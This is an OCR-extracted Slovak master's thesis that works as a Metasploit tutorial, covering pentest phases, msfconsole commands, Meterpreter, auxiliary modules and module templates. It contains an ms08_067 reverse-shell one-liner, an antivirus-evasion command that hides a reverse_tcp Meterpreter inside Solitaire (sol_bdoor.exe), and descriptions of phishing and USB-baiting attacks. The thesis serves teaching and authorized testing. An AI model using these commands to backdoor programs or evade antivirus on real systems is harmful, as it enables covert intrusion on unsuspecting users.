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Zhrnutie

Cielom tejto prace bolo vytvorit tutorial k jednému z penetraénych
néstrojov, konkrétne k Metasploitu. Dalej by som ho chcela blizsie
predstavit a vyzdvihnit jeho prednosti a z toho vyplyvajticu popula-
ritu. Nemenej doleZité je spomentt aj pouZité technolégie, potrebné
na vytvorenie praktickych tloh pre platformu Avatao. Svoje miesto
maju v tejto praci aj tlohy, vytvorené pre tito platformu a ich rieSenia.

ii



Kldéové slova

Metasploit, Docker, Avatao, Shellshock, nmap, penetracné testovanie,
Crawler, zranitelnosti, Brute-force, linux, Capture the Flag, SNMP,
Tomcat, Dockerfile

iii



Obsah

1 Uvod 1
1.1 Penetracné testovanie . . . . . . . .. ... ... ... ... 2
1.1.1 Fazy penetra¢ného testovania . . . . .. ... .. 2

2 Metasploit 4
2.1 Historia . . . . . ... e 4
22 Metody . . . ... 5
2.3 Sucasti Metasploitu . . . . ... ... Lo oL 6

3 MSF konzola 10
3.1 Skenovanie . . . ... ... .. ... ... ... 10

32 Exploity . . ... ... ... 11

3.3 Meterpreter . . . . . ... o 12
3.4 Akosavyhniit detekcii . . . ... ... oL 13
3.5 Pomocné - auxiliary moduly . . . . ... ... ... .... 16

3.6 Toolkit pre socidlne inZinierstvo . . . . . . ... ... ... 17
3.7 Vytvorenie vlastného modulu . . . . . ... ... ... ... 17
38 Prikazy . . ... ... 20
381 MSFkonzola .................... 20

382 Meterpreter . . ... ... ... ... L. 21

4 Docker 22
41 Popiscasti . . . . .. ... e 22
42 Dockerfile . . . .. ... 24
42.1 Zakladna syntax pre vytvorenie Dockerfile siboru 24

4.3 Zikladné prikazy pre Docker . . . . . . ... ... .. ... 26

5 Avatao 28
51 Ulohy o oo 34
511 Zazraénynastroj . ................. 34

5.1.2 Skeneralebonie? . . ... ... ... ....... 35

513 Niekdevhoste . .. ... ... .. ..... ... 37

514 Paviakajehopavuéiny . .............. 40

51.5 Hlapyuzivatel . ... ... ... ... ... ... 42

51.6 Ukrytyvopiesku. ... ............... 45

5.1.7 Testovanie a problémy pri tvorbe tloh . . . . . . 49

iv



Zaver
Bibliografia
A Ukazka exploitu na Ubuntu host

B Instalacia Metasploitu a Dockeru
B.1 Instalicia Metasploit konzoly . . . . . . ... ... .....
B.2 Instaldcia Dockeru . . . . . . .. . .. ... ...

52

54

56



Zoznam obrazkov

2.1
2.2

3.1
3.2
3.3
34
3.5

51
52
53
54
5.5
5.6
5.7
5.8
59
5.10
5.11
5.12

5.13
5.14
5.15
5.16
5.17
5.18
5.19
5.20

Al
A2
A3

Priklad msfconsole vypisu. 7
Priklad pouZzivania armitage[6]. 9

Pouzitie portscan modulu. 11

Informaécie o moznostiach prikazu msfencode. 14
MozZnosti Sifrovania pomocou msfencode. 15
MozZnosti auxiliary modulov. 16

Priklad Sablén pontkanych Metasploitom. 17

Priklad tloh na Avatau. 28

Priklad tloh na Avatau. 29

Strukttra dlohy na githube. 30

Uloha na Avatau. 31

Uloha na Avatau pred spustenim. 32

Uloha na Avatau po spusteni. 32

Ukézka Avatao okruhu. 33

Vysledok hladania tlohy 1. 35

Vysledok spustenia néstroja nmap tlohy 2. 36
Informdcie o pouzitom module v tlohe 3. 37
Vysledok po spusteni modulu v tlohe 3 (zaciatok).
Vysledok po spusteni modulu v tlohe 3 (koniec -
vlajka). 39

Informaécie o pouzitom module v tdlohe 4. 40
Vysledok po spusteni modulu v tlohe 4. 42
Vysledok po zadani URL do prehliadaca. 42
Informécie o pouZzitom module v tdlohe 5. 43
Vysledok po spusteni modulu v tlohe 5. 45
Informaécie o pouZzitom module v dlohe 6. 46
Vysledok po spusteni modulu v tlohe 6. 48
Informdcie o pouzitych verzidch. 49

Spustenie exploitu na Ubuntu host. 56
Spustenie exploitu na Ubuntu host. 57
Spustenie exploitu na Ubuntu host. 58

39

Vi



1 Uvod

V dnesnej dobe, v ktorej si uz nevieme predstavit nasu existenciu
bez informacnych technolégif a inteligentnych zariadeni, je pre hac-
kera ovela jednoduchsia cesta ziskat r6zne informdcie, data alebo iné,
neraz aj citlivé idaje zo systémov. Vzhladom na tento fakt je preto ¢im
dalej, tym viac potrebna bezpecnost systémoyv, sieti, dat.

Jednou z moZznosti, ako dané rizika znizit, je forma penetra¢ného
testovania. Na tento druh prevencie existuje velmi vela r6znorodych
nastrojov, ktorych vyber zavisi najmé od ciela tohto testovania. Popis,
¢o je penetracné testovanie a aké su jeho fazy, sa nachadza v dalSej
Casti tejto diplomovej prace.

Z &astych néstrojov, ktoré st pouzivané pri penetracnom testovani,
je aj Metasploit, ktory je povazovany za velmi G¢inny a vSestranny
multifunkény prostriedok.

Jednym z cielov tejto prace bolo popisat Metasploit a vytvorit
tak tutoridl na jeho pouZivanie. V druhej kapitole je popisany tento
nastoj vSeobecne, uvedena histéria jeho vzniku a rozvoja az po dnesnu
podobu. Okrem tychto faktov je tam spomenuté aj rozdelenie foriem
Metasploitu a ich stru¢né pouZivanie a zdkladné pojmy, vyskytujtce
sa pri tomto nastroji.

V dal3ej kapitole je detailne popisana sticast Metasploitu, a to msf
konzola, jej moZnosti, ktoré pouzivame pri penetracnom testovani,
moduly, aké ndm poskytuje a zdkladné, najcastejSie pouzivané pri-
kazy. Okrem konzoly je v tejto kapitole popisany aj Meterpreter, ¢o je
Specidlny druh payloadu.

Praktickou ¢astou bolo vytvorenie tloh pre platformu Avatao. Tech-
nolégie na ich tvorbu st spomenuté v dalsich kapitolach. Najskor je
popisany nastroj Docker na tvorbu virtudlnych strojov pre dynamické
ulohy, jeho Struktira a zdkladné prikazy. V nasledujtcej kapitole je
spomenuty proces tvorby tloh priamo na Avatao platforme a jej popis.

V kapitole obsahujticej informdcie o Avatau st tiez popisané vy-
tvorené tdlohy, komplikécie pri tvorbe a testovani.

V prilohéach je mozné néjst ndvody na inStalaciu Dockeru a Me-
tasploitu a ukdZku exploitu na host s opera¢nym systémom Ubuntu.



1. Uvop

1.1 Penetracné testovanie

Tester, alebo inak nazyvany aj eticky hacker, na zédklade povole-
nia pomocou penetra¢ného testovania simuluje ttok na informacné
systémy, zariadenia alebo siete a cielom je zistenie jeho nedostatkov v
zabezpeceni a s tym spojené mozné rizika.

1.1.1 Fazy penetracného testovania

e Planovanie a priprava V tejto faze st dohodnuté ciele a objekty
testovania medzi klientom a testerom. NajdoleZitejSim bodom
tejto fazy je, aby boli ciele rovnaké a rovnako pochopené medzi
oboma stranami.

Ide napriklad o zistovanie zranitelnosti a zlepSenie bezpec¢nosti
na fyzickych zariadeniach[1].
e Prieskum

V tejto faze sa snaZzi tester ziskat zakladné informécie o vSetkom,
pretoZe vo vacSine pripadov nemé o testovanom subjekte Ziadne
alebo takmer Ziadne tdaje.

V tejto Casti testovania sa zistuji IP adresy, plan siete, popis systé-
mov. Cel4 tato f4za spociva v pasivnom ziskavani informdcii[1].
e Objavovanie

V tomto bode penetra¢ného testovania pouZiva tester automati-
zované nastroje, aktivne skenovanie ciela a zistuje mozné zrani-
telnosti vacsinou podla dostupnych databaz.

V tejto faze tester skiima siet a dal$ie dostupné systémy, servery a
zariadenia, ako aj beZiace sluZzby a otvorené porty na strojoch[1].
e Analyza informdcii

Vysledky predchadzajiceho kroku st vyuZité na ich podrobnu
analyzu. Tato faza je asovo najnaroc¢nejsia, pretoZe existuje velké
mnoZstvo systémov a je zavisla hlavne od velkosti infrastruktary.

Tester si musi uvedomit hlavné ciele testovania, ktoré boli do-
hodnuté na zaciatku testovania. Okrem toho musi zvazit poten-
ciondlne rizika bezpec¢nosti v skiimanej sieti alebo zariadeniach.
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1. Uvop

V tejto faze musi tieZ vybrat len tie Casti na testovanie, ktoré
mozu obsahovat mozné zranitelnosti[1].

Aktivny prienik

Ide o najdodlezitejSiu fdzu v celom testovani, preto musi byt vy-
konana s velkou obozretnostou. Tento krok musi byt vykonany
pre potrebné overenie pritomnosti zranitelnosti. Napriklad pre
systémy, ktoré vyzaduja vysokdu integritu, je velmi potrebné
pred kritickym ¢&istenim zistit potencidlnu zranitelnost a overit,
Ze tam naozaj je[1].

Zaverecna analyza

Tento krok je vysledkom vsetkych faz, ktoré boli dovtedy vyko-
nané. Obsahuje mozné odportcania, ktoré by viedli k zvySeniu
bezpecnosti, zhodnotenie zranitelnosti a cesty, ktorymi sa tester
k danym zranitelnostiam dostal[1].

Zhrnutie testovania

Vysledna sprava musi zac¢inat popisom proceddr, ktoré boli po-
uzité, nasledne sti spomenuté analyzy zranitelnosti a rizik. Naj-
skor st popisané zdvaznejsie zranitelnosti, tie, ktoré sa tykaju
kritickych systémov a aZ potom tie ostatné. V tomto dokumente
je nutné zvazit:

- celkovy sthrn penetra¢neho testu,

- detaily kazdého kroku pouZitého pocas testovania,

— detaily ndjdenych zranitelnosti,

— detaily cistenia a fixovania systému,

- odportcania na zlepSenia do budtcnosti[1].



2 Metasploit

Metasploit je bezplatny, lahko dostupny softvér, ktory dnes obsa-
huje velmi vela moZznosti, roznych kombiné&cii a nastaveni. Ako eSte
len bude spomenuté, existuji aj komercéné (platené) verzie. Nie je to
len jeden ndstroj, ale framework, ktory dovoluje vyvoj a tpravu explo-
itov. Tie je potom mozné vyuZit proti vzdialenému hostovi. Pomocou
Metasploitu je mozné vyuzit va¢sinu zranitelnosti ndchadzajicich sa
v softvére vo svoj prospech.

2.1 Historia

Metasploit bol vytvoreny v roku 2003 programatorom H. D. Mo-
orom pocas jeho prace vo firme zameranej na pocitacovi bezpe¢nost.
Ked'si H. D. Moore uvedomil, kolko ¢asu strdca pri kontrole a upravo-
vani beZne dostupnych exploitov, rozhodol sa, Ze vytvori flexibilny
framework, naprogramovany v jazyku PERL na vytvaranie a upra-
vovanie exploitov. Prva verzia tohto nastroja vysla v oktébri 2003 a
obsahovala 11 exploitov[2].

V aprili v roku 2004 sa H. D. Moore rozhodol prerobit cely projekt a
pomenoval ho Metasploit 2.0. Tato verzia obsahovala uz 19 exploitov a
viac ako 27 payloadov. Chvilu po tejto zmene sa k projektu pridal Matt
Miller a Metasploit Framework zacinal byt ocefiovany komunitou
zaoberajtcou sa informac¢nou bezpec¢nostou a ¢oraz viac sa staval
neoddelitelnym néstrojom pouZivanym pri penetra¢nom testovani[2].

V roku 2007 presiel Metasploit na verziu 3.0 a bol kompletne prepi-
sany do jazyka Ruby. Tato zmena z jazyka PERL trvala 18 mesiacov a
obsahovala viac ako 150 000 riadkov nového kédu. V tejto dobe zaZival
tento nastroj velkti podporu nielen zo strany komunity informacen;
bezpecnosti, ale aj od inych uZzivatelov[2].

Na jeseni v roku 2009 sa stal Metasploit sacastou Rapid?, firmy
zaoberajulcej sa bezpe¢nostou, ktord pontkla H. D. Moorovi moZznost
vytvorit tim, ktory by sa zaoberal iba vyvojom Metaploit Frameworku.
Po tomto spojeni so spolo¢nostou Rapid7 boli vydané dva komercéné
produkty a to Metasploit Express a Metasploit Pro. Metasploit Express
je jednoduchsia verzia Metasploit Frameworku s GUI prevedenim
obsahujtica reporting. Metasploit Pro je rozsirend verzia Expressu
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2. MEtASPLOIT

obsahujtica naviac moZznosti ako napriklad VPN tunel. Okrem tychto
verzii existuju aj neplatené Community a Framework][2].

2.2 Metédy

e Exploit

Exploit je program alebo skript, ktory vyuZiva dant zranitelnost
a umoznuje tak ziskat nejaky prospech. Vic¢sinou sa jedné o
ziskanie kontroly nad inym strojom alebo spustenie neZiadtcej
inStaldcie softvéru, ked pouZzivatel pocitaca ani len netusi, ze
inStalacia nadalej vykonava inym subjektom riadent ¢innost.
Jednou z moznosti ako chranit svoj pocitac, je ¢astd aktualizdcia
systému a softvéru[3].

Exploity maja viacero typov. Najbeznejsie delenie je podla spo-
sobu komunikécie so zranitelnym strojom, a to vzdialeny (re-
mote) exploit, kde sa ttok kond pomocou pocitacovej siete, a
preto nie je potrebny priamy pristup alebo miestny (local) ex-
ploit, kde je uz potrebny priamy pristup a vd¢Sinou sa jedna o
ziskanie vysSieho opravnenia, ako dany uzivatel ma[3].

Vadsinou sluzi exploit k ziskaniu priamych administratorskych
prav (pouzivatel root, administrator), ale existuju aj také, ktorymi
uto¢nik najprv ziska niz8ie prava a pouzitim dalsich exploitov
sa prepracuje azZ k prdvam pre administratorov.

e Payload

Payload je kéd, ktory chceme, aby spustil zranitelny stroj. Pomo-
cou Frameworku je mozné takyto kod vybrat a dorucit na cielovy
stroj. Napriklad payload reverse shell dokédZe vytvorit spojenie
zo zraniteIného stroja naspit na tito¢nikov formou prikazového
riadka na Windowse alebo formou termindlu na Linuxe[1].

e Shellcode

Shellcode je mnoZina prikazov pouZivanych v payloadoch, naj-
CastejSie v jazyku Assembler. VacSinou je shell spusteny po
uspesnom payloade. Jednym z prikladov je aj Meterpreter a
jeho prikazy, ktoré st spomenuté dalej[2].



2. MEtASPLOIT

e Modul

Moduly st casti, ktoré robia Metasploit takym vykonnym. Mo-
dulom je kus kédu pouZivany tymto Frameworkom. M6Ze nim
byt exploit modul, pomocny (auxiliary) modul, ktory zabezpe-
¢uje napriklad skenovanie[2].

e Listener

Listener je sticastou Metasploitu, ktora ¢akd na komunikéciu
prichddzajtcu zo zranitelného hosta po tspesnom vykonani
payloadu. Prikladom je napriklad Meterpreter, kde host ocakava
spatnt komunikaciu od vybraného systémul[2].

2.3 Sucasti Metasploitu

Metasploit pontika viac rozhrani, okrem konzoly aj grafické ro-
zhranie a prikazovy riadok. VSetky tieto moZnosti obsahuju to, ¢o
pontika Metasploit Framework - exploity, payloady aj mozZnost ich
dalsich zmien a vyvoja.

e MSF konzola

Msf konzola je interaktivnejsia a viac user-friendly ako MSFEcli.
Pre spustenie msf konzoly zaddvame prikaz:

# msfconsole

Po tispeSnom spusteni nas privita ASCII art s textom, ktory po-
niika informécie o spustenej verzii a pocte payloadov a exploitov,
ktoré obsahuje. Tato sticast metasploitu a jej pouzivanie budem
rozoberat detailnejsie v dalSich castiach tejto prace.



2. METASPLOIT

msfconsole

473 payloads - 48 encoders - 9 nops
Free Metasploit Pro trial: http://r-7.co/trymsp

[ R s R

]
1641 exploits - 945 auxiliary - 289 post 1
]
1

Obr. 2.1: Priklad msfconsole vypisu.

e MSFcli

MSEcli bol na rozdiel od msf konzoly skor zamerany na skripto-
vanie a spoluprédcu s ostatnymi konzolovymi nastrojmi. MSFcli
sa spustal priamo z prikazového riadku, ¢o umoziiovalo jedno-
duchsiu interakciu s ostatnymi nédstrojmi, pretoze dokaZzu pre-
smerovat vystup priamo do prikazu MSFcli a naopak. MSFcli
podporoval aj priame sptiStanie exploitov a payloadov, ¢o bolo
pri testovani vyhodnejsie[4].

MSEcli bolo najvyhodnejsie pouZzivat, ak sme presne vedeli,
ktory exploit a aké jeho nastavenia mame pouZit. Samozrejme,
ze ponukal aj zobrazenie moZznosti cez parameter O na konci
prikazu[4].

Tento néstroj sa vSak od janudra 2015 prestal pouzivat a odpo-
raca sa spustat prikaz pomocou msf konzoly s parametrom -x.
Napriklad:

# ./msfconsole -x "use exploit/windows/smb/
ms08_067_netapi; set RHOST [IP]; set
PAYLOAD windows/meterpreter/reverse_tcp;
set LHOST [IP]; run"



2. MEtASPLOIT

alebo pouzitim vlastného skriptu, ktory je mozné spustit priamo
v msf konzole:

# ./msfconsole -r name_of script.rc

alebo:

msf > resource name_of_script.rc

Armitage

Armitage je plne interaktivna a grafickd stcast Metasploitu, kto-
rej autorom je Raphael Mudge. Tento néstroj je bezplatny. Armi-
tage pontka napriklad vizualizaciu cielov ttoku, ako aj odpo-
rdcania exploitov. Okrem toho pontka aj jednoduchs$iu pracu
v timoch, kde cez jednu inStanciu uvidi tim rovnakeé spojenia,
zdielanie hostov, zachytenych dat, komunikaciu cez zdielany
log udalosti[5]

Armitage sa spusta prikazom:

# armitage



2. MEtASPLOIT

Armitage

Armitage \iew Hosts Attacks Workspaces Help

> [.,'d auxliary
» [ exploit
> payload
- post

192, 168. 0.

seLl RPORT
set LPORT

44
exploiti
RHOST 1

mst exploiti(
[*] Exploit running

1 Server uni
] Kill the master

Obr. 2.2: Priklad pouZzivania armitage[6].



3 MSF konzola

3.1 Skenovanie

Metasploit pontka vyuZitie rdznych nastrojov na skenovanie, ¢i
uz pasivnych alebo aktivnych.

e Pasivne néstroje

Tento druh skenovania pomadha ziskavat informaécie bez toho,
aby bol dotknuty cielovy systém. NajcastejSie sa vyuZivaji na
zistenie vlastnika siete, operacny systém a software serveru,
hranice siete[2].

Medzi tieto néstroje patria napriklad Whois, NSLookup, Netc-
raft.
o Aktivne nastroje

Toto skenovanie potrebuje interakciu priamo so systémom. Ta-
kyto sposob sa vyuZziva na detailnej$ie informacie, ako napriklad
dostupnost a otvorenost portov, beziace sluzby. Avsak pri tomto
skenovani treba byt opatrny kvoli nastrojom, ktoré detekuju a
zabratiuja nepovolenému pristupul2].

Najrozsirenejsi nastroj pouzivany na aktivne skenovanie je Nmap.

e Dalsie moznosti

Okrem externych pasivnych a aktivnych nastrojov pontka Me-
tasploit aj moduly urc¢ené na skenovanie. Niektoré st prisposo-
bené na skenovanie portov, iné na zistovanie konkrétnych verzii
danych sluzieb (FTP, SSH, SMB, SNMP ...), systémov alebo prog-
ramov.

Na skenovanie portov existuje napriklad modul portscan.

msf > use auxiliary/scanner/portscan/syn

10



3. MSF konzoLa

mst auxiliary( ) = show options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Reguired Description
éA}&HSIZE 6 q The number of hosts to scan per set
DELAY q The delay between connections, per thread, in milliseconds

INTERFACE The name of the interface
JITTER y The delay jitter factor (maximum value by which to +/- DELAY) in millisecond

PORTS 1-18000 / Ports to scan (e.g. 22-25,80,110-900)

RHOSTS 172.17.0.2 y The target address range or CIDR identifier
SNAPLEN 65535 y The number of bytes to capture

THREADS 1 y The number of concurrent threads

TIMEOUT 560 y The reply read timecut in milliseconds

auxiliary( ) > run

TCP OPEN 172.17.08.2:666
d 1 of 1 hos 80% complete)
ary module execution completed
ary( ) =1

Obr. 3.1: Pouzitie portscan modulu.

Pokial uzivatelovi nestacia ani dostupné externé nastroje, ani mo-
duly, je moZné vytvorit vlastny skener pomocou vsetkych dostupnych
funkcif a sticasti Metasploit Frameworku.

3.2 Exploity

Schopnost ziskat celkovii kontrolu nad cielovym hostom je jednym
z vrcholov, ktoré moZe bezpec¢nostny Specialista dosiahnut. Metasploit
obsahuje stovky modulov, ktoré si nedokéZe skoro nikto zapamatat.
Existujt preto prikazy, ktoré dokdZu zobrazit vSetky moduly alebo
len tie Specializované na urd¢ita sluzbu, zranitelnost, ... [2] Pomocou
prikazu -

msf> show

dostaneme vypis vSetkych dostupnych modulov. Prikaz
msf> show exploits

pontka vsetky dostupné exploity vo Frameworku, prikaz
msf> show payloads

zobrazi vietky dostupné payloady. Ak je pouzivany nejaky exploit, tak
st zobrazené iba payloady, ktoré dokaZu spolupracovat s pouZivanym
exploitom.

msf> show auxiliary
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Tento prikaz zobrazi vSetky dostupné moduly, ktoré modzu byt pouZité
ako skener, ako fuzzer, na DOS ttok, okrem exploitov a payloadov.
Pri vybranom module dokdZeme pomocou

msf> show options

zistit vSetky dostupné nastavenia ako port, IP adresa (RHOST/R-
HOSTS). Kazdy modul pontika iné moZnosti nastavenia. Pri hladani
Specidlnych modulov je mozné pouZzit

msf> search hladany_vyraz.

Na prikaz search je vytvorend druhd dloha (Skener alebo nie?), popi-
sand v kapitole 5.1.2.
Ak chceme pouzivat nejaky modul, pouZijeme

msf> set nazov_modulu

a naopak, ak uzZ nechceme pouzivat vybrany modul, alebo nastaveny
atribut, tak ho zrusime pomocou

msf> unset nazov_nezelaneho_ atributu/modulu.

UkéZka exploitu Ubuntu hosta je v Prilohe A.

3.3 Meterpreter

Meterpreter je oznacovany za jednu z vlajkovych lodi Metasplo-
itu. Je to pokrocily druh payloadu, ktory byva va¢Sinou spusteny po
uspesnom vykonani exploitu na vybrant zranitelnost. Meterpreter
rozsiruje Metasploit, a tym mu umoZnuje dostat sa hlbsie do vybra-
ného systému, kde je mozné zakryt nase stopy, ndjst detaily v pamaiti,
vytiahnut dump hasov a mnoho dalsieho.

Meterpreter komunikuje za behu pomocou stager soketu a posky-
tuje Ruby rozhranie na strane klienta. Tento payload pontika okrem
iného aj prikazy na otvorenie histérie, dopliianie pomocou Tabu, ka-
nély, ...[7]

Pévodne bol Metepreter vytvoreny pre Metasploit 2.x, od verzie 3.x
boli pridané a upravené viaceré moduly, ktoré ho pontikajt. Serverova
cast tohto payloadu je implementovana v jazyku C a kompilovana
pomocou MSVC kvoli jeho prenositelnosti. Strana klienta moze byt
naprogramovana v lubovolnom jazyku, ale najcastejsie je pouzité Ruby,
tak ako vo vdcsej casti Metasploitu.[7]
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Fungovanie Meterpretera:

e ciel spusti tvodny stager, vdc¢sinou to je bind alebo reverse,
e Stager nahra DLL prefixy pomocou Reflective,

e Metepreter inicializuje a vytvori TLS/1.0 linku cez socket a posle
GET Zziadost. Metasploit dostane ttto Ziadost a nastavi klienta,

e nakoniec nahra Meterpreter rozsirenia - stdapi, priv (pokial st
pritomné administratorské prava)[7].

Vlastnosti Meterpretera:

nendpadnost - praca v pamiti, Ziaden zapis na disk, Ziadne nové
procesy, Sifrovana komunikacia[7]

vykonnost - pouZivanie kanalovej komunikécie[7]
rozsiritelnost - funkcie rozsirené za behu, stiahnuté zo siete[7]

Priklad, ako sa dostat ku konzole Meterpretera, je zndzorneny v
Prilohe A, a je na to pripravend aj Siesta tiloha (ukryty v piesku), ktord
je popisana v kapitole 5.1.6.

3.4 Ako sa vyhnut detekcii

Nie je ni¢ zahanbujtcejsie, ako byt pri vykonavani penetracného
testu odhaleny Antiviruovym programom. VacSina takychto prog-
ramov pouziva podpisy na identifikaciu, Ze sa vdaka istym vzorom
jedna o ¢innost skodlivého softvéru. Tieto podpisy st uloZené v jadre
antivirusového programu a jeho tlohou je porovnavat vsetky stibory
s tymito znakmi Skodlivého kédu pocas skenovania pamaéte. Ak ndjde
zhodu, spravi potrebné tkony, zastavi proces, poziada o vymazanie
suboru, ...[2]

Tieto programy musia mat presne Specifikované vzory, aby bol
oznaceny za malvér naozaj len skodlivy softvér a nie iny program,
ktory tam ma byt. Preto je doleZité pre vyhnutie sa detekcii pouZit
unikatny payload, ktory neobsahuje znaky z databazy antivirusovych
programov. Vac¢sina predpripravenych modulov je detekovatelna[2].
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Najjednoduchsia cesta ako spustit modul bez povsimnutia, je po-
mocou néstroja

msfencode.

Tento nastroj dokdZe zmenit kéd na spustitelny stbor (pridd ho
do iného vacésinou spustitelného stiboru), ktory pre antivirus vyzera
inak, ako skodlivé vzorky v databéaze. Tento stibor sa potom vykona
rovnakym sposobom, ako bez prikazu msfencode. Po spusteni tohto
stiboru sa odsifruje pévodny kéd do paméite a spusti sa[8].

Usage: /usr/bin/msfencode >options>
OPTIONS:

<opt> The architecture to encode as
<opt> The list of characters to avoid: '\x@0\xff'
c <opt> The number of times to encode the data
<opt> Specify the directory in which to look for EXE templates
<opt> The encoder to use
Help banner

i <opt> Encode the contents of the supplied file path

Keep template working; run payload in new thread (use with -x)

List available encoders

Specifies an additional module search path

Dump encoder information

The output file

The platform to encode for

The maximum size of the encoded data

The output format: bash,c,csharp,dw,dword, java,js_be,js_le,num,perl,pl,powershell,psl,py,py
Increase verbosity

Specify an alternate executable template

Obr. 3.2: Informécie o moZnostiach prikazu msfencode.
Priklad pouZzitia msfencode na stbor solitaire pre Windows XP,

ktory po otvoreni spusti Meterpreter bez toho, aby uZivatel o tom
vedel.
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Framework Encoders

Name Rank escription
cmd/generic_sh good Generic Shell Variable Substitution Command Encoder
cmd/ifs low Generic ${IFS} Substitution Command Encoder
cmd/printf_php_mg LELITEY printf(1) via PHP magic_gquotes Utility Command Encoder
generic/none normal The "none™ Encoder
mipsbe/longxor normal XOR Encoder
mipsle/longxor normal XOR Encoder
php/basetd great PHP Baseb4 Encoder
ppc/longxor normal PPC LongXOR Encoder
ppc/longxor_tag normal PPC LongXOR Encoder
sparc/longxor_tag normal SPARC DWORD XOR Encoder
xbd/xor normal XOR Encoder
x86/alpha_mixed low Alpha? Alphanumeric Mixedc Encoder
x86/alpha_upper low Alpha2 Alphanumeric Upperc Encoder
x86/avoid_underscore_tolower manual Avoid underscore/tolower
x86/avoid utf8 tolower manual Avoid UTF8/tolower
x86/bloxor manual BloXor - A Metamorphic Block Based XOR Encoder

calld dword xor normal Call+4 Dword XOR Encoder

context_cpuid LELITEYN CPUID-based Context Keyed Payload Encoder

ntext stat LELITEY stat(2)-based Context Keyed Payload Encoder

context_time LELITEY time(2)-based Context Keyed Payload Encoder

countdown normal Single-byte XOR Countdown Encoder
x86/fnstenv_mov normal Variable-length Fnstenv/mov Dword XOR Encoder
x86/jmp_call additive normal Jump/Call XOR Additive Feedback Encoder
low Non-Alpha Encoder
low Non-Upper Encoder
excellent Polymerphic XOR Additive Feedback Encoder
LELITEN Single Static Bit
x86/unicode mixed LELITEN Alpha2 Alphanumeric Unicode Mixedcase Encoder

x86/unicode_upper LELITEYN Alpha2 Alphanumeric Unicode Uppercase Encoder

Obr. 3.3: MoZnosti Sifrovania pomocou msfencode.

#msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.1.191 LPORT=443 R | msfencode -t
exe -x sol.exe -k -o sol_bdoor.exe -e x86/
shikata_ga _nai -c 3

[*] x86/shikata_ga_nai succeeded with size 317 (
iteration=1)

[*] x86/shikata_ga_nai succeeded with size 344 (
iteration=2)

[*] x86/shikata_ga_nai succeeded with size 371 (
iteration=3)
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#msfencode -t exe -x sol.exe -k -0 sol_bdoor.exe
-e x86/shikata_ga_nai -c 3

Po spustenti tychto prikazov, je vytvoreny stibor s pouzitou Sab-
l6nou sol.exe. Parameter -k zabezpecuje, Ze povodné funkcie sol.exe
budt funkéné aj v novovytvorenom stbore. Ked uZivatel spusti novy
sol.exe, ato¢nik ziska pristup k jeho hostu pomocou Meterpreter kon-
zoly[8].

3.5 Pomocné - auxiliary moduly

Pri slove Metasploit kazdému pridu na rozum exploity, no na
auxiliary moduly sa zabtida. Tieto moduly vykonaja va¢sinu prace, aj
ked neobsahujt payload.

Sltizia najmé na ziskavanie informadcii, a to najma ako skener portov,
detaily o sluzbéach, niektoré dokdzu pomocou r6znych metéd odhalit
zoznam uZivatelskych mien alebo aj hesiel, odskti$aju, ¢i st sktiSané
prihlasovacie tdaje korektné. Okrem toho pontikajit moZnost crawling,
moZu byt pouzité ako fuzzer. Ich cielom je ziskat ¢o najviac informacii
aj o zranitelnostiach, pred samotnym exploitom[2].

drwxr-xr-x
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Obr. 3.4: MoZnosti auxiliary modulov.

Véacsina vytvorenych dloh pontka prave pracu s tymito modulmi.
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3.6 Toolkit pre socidlne inZinierstvo

Tento druh tdtoku je zavisly od Tudského faktoru, spolieha sa na
neznalost a hlapost uzivatela a je to jedna z najvacsich hrozieb v spo-
lo¢nostiach.

Na tento typ ttoku pontika Metasploit, iba jeho platend verzia, via-
cero exploitov pod zloZkou SET (system-engineering toolkit). MoZeme
tu néjst napriklad moZznost hromadného rozoslania phisingovych
emailov s prilohou, ktord obsahuje skodlivy kéd (napriklad pouzitie
solitairu z predoglej dasti). Dal§ou moZnostou je tvorba falognych web-
strdnok, kde je skopirovany cely obsah pdvodnej stranky, avsak tidaje
st poslané na tto¢nikov host[9].

Dal$ou moZnostou je pouzitie USB kltca, ktory moZe byt volne
umiestneny niekde vo firme (niekto ho zabudol na stole, pri kdvovare,
...). Na tento kla¢ dokéaze uto¢nik nahrat Skodlivy stbor, ktory vyzera
ako bezny dokument pouZivany vo firme, napriklad Zivotopis.pdf a
umiestni ho naspét na ndjdené miesto. Po spusteni sa vykona skodlivy
kéd, rovnakym spoésobom ako pri inom ttoku a tto¢nik ziska tddaje,
ktoré potrebuje[9].

3.7 Vytvorenie vlastného modulu

Vlastny modul je moZzné naprogramovat v lubovolnom jazyku, ale
pre jednoduchost je najlepsim rieSenim jazyk Ruby, pretoZe ako uz
bolo spomenuté, cely Metasploit je napisany v fiom.

Pre vytvorenie vlastnych modulov je moZzné pouZit Sablény, ktoré
pontika Metasploit 3.5.

afp.rb C C . gdb. rb mssql.rb realport.rb telnet.rb
android.rb C mssql_sqli.rb tftp.rb
arkeia.rb a. imap.rb mysql.rb riff.rb tined.rb
auto_target.rb ip.rb ndmp.rb ropdb.rb tns.rb
browser_autopwn2.rb dialup.rb ipv6.rb ntlm.rb seh. rb udp. rb
browser_autopwn.rb  egghunter.rb omelet. rb sip.rb vim_soap.rb
brute.rb exe.rb java.rb oracle.rb -
brutetargets.rb file dropper.rb jsobfu.rb pdf_parse.rb  smtp_deliver.rb

capture.rb fileformat.rb pdf.rb smtp.rb

fmtstr.rb kernel_mode.rb php_exe.rb snmp.rb
cmdstager.rb pop2.rb ssh.rb windows_constants.rb
db2.rb fortinet.rb local. postgres.rb sunrpc.rb winrm.rb
dcerpc_epm.rb ftp.rb ixi rb tep.rb
dcerpc_lsa.rb ftpserver.rb L « powershell.rb tcp server.rb

Obr. 3.5: Priklad $ablén pontkanych Metasploitom.
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Po najdeni sprdvneho modulu zo $ablény si vytvorime novy prieci-
nok, kam skopirujeme tento vybrany stiibor. Miesto, kde sa ma vytvorit
novy prie¢inok, zavisi od obsahu modulu - od jeho kategorie (¢i je
to exploit, alebo pomocny modul, skener, ... atd, aby ho bolo mozné
potom spravne vyhladat v databaze modulov)[10].

Priklad s vysvetlenim ako mé vyzerat modul s pouzitou Sablénou
mssql_ping.rb[10]:

-> automaticky nastavena hodnota

##

# $Id: ihaz_sql.rb 7243 2009-12-04 21:13:15Z
rellk $

##

-> standardny suhlas s licenciou

##

# This file is part of the Metasploit Framework
and may be subject to

# redistribution and commercial restrictions.
Please see the Metasploit

# Framework web site for more information on
licensing and terms of use.

# http://metasploit.com/framework/

##

-> pouzite kniznice, v tomto pripade msf core
require ’msf/core’

